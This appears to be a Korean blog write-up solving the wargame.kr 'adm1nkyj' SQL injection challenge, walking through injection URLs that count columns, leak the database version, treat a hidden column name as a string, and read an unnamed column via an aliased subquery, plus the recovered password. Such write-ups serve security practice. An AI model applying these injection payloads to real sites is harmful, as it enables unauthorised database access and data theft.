Notice
Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Archives
Today
Total
관리 메뉴

White Security

[wargame.kr] adm1nkyj 문제풀이 본문

Wargame Writeups/wargame.kr

[wargame.kr] adm1nkyj 문제풀이

POSIX 2019. 1. 30. 04:06

wargame.kr 사이트의 마지막 웹 문제입니다.


SQL 인젝션 문제입니다



접속하자마자 소스가 표시되는데

pw, flags 값이 사전 계산된 값과 동일하면

플래그를 출력하고

그렇지 않은경우 id 컬럼만 표시하고 있네요.


id 컬럼 출력 부분을 활용해서

정보를 가져올 수 있을 것으로 보입니다.


http://wargame.kr:8080/adm1nkyj/?id=admin&pw='+and+0+union+select+1,@@version,3,4,5--+-

http://wargame.kr:8080/adm1nkyj/?id='+or+1+order+by+5--+-


id 파라미터에 order by 절을 사용해

findflag_2 테이블의 컬럼이

5개라는 것을 알 수 있었습니다.


http://wargame.kr:8080/adm1nkyj/?id='+and+0+union+select+1,2,3,4,5--+-

http://wargame.kr:8080/adm1nkyj/?id='+and+0+union+select+1,@@version,3,4,5--+-


두번째 컬럼이 id라는 것을 알 수 있습니다.



이제 pw_column과 flag_column 값만 알아내면

해결될 듯 보이는데

사실 이 부분이 문제의 핵심입니다.


php 변수화된 값을 알아내기가 쉽지 않지요.

pw_column 을 알아내는 것은 비교적 간단합니다.


SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}'


pw_column를 둘러싼 쿼트를 이용하면

' and $pw_column=' 부분을 문자열 값으로

취급할 수 있습니다.


and나 = 같은 사족이 붙기는 하지만요.


http://wargame.kr:8080/adm1nkyj/?id='+and+0+union+select+1,&pw=,3,4,5--+-
SELECT * FROM findflag_2 WHERE $id_column='' and 0 union select 1,' and $pw_column=',3,4,5--+-'


위처럼 id와 pw값을 적절히 조절하면 컬럼명을

문자열 인자로 취급시키는 것이 가능합니다.


>http://wargame.kr:8080/adm1nkyj/?id='+and+0+union+select+1,(select+xPw4coaa1sslfe+from+findflag_2),3,4,5--+-

http://wargame.kr:8080/adm1nkyj/?id=adm1ngnngn&pw=%21@SA%23%24%21


adm1ngnngn 계정의 pw 값을 알아냈습니다.



flag 값은 alias 를 붙여준 서브쿼리와

select 문의 조합으로 알아낼 수 있습니다.


컬럼명을 모르고 information_schema에도

접근이 불가능한 경우에 사용할 수 있는 방법입니다.


http://wargame.kr:8080/adm1nkyj/?id='+and+0+union+select+1,flag,3,4,5+from+(select+1,2,3,4+as+flag,5+union+select+*+from+findflag_2+limit+1,1)x--+-

<


flag 값을 확인하고 인자에 넣어주는 것으로 플래그를 얻어낼 수 있었습니다.



Comments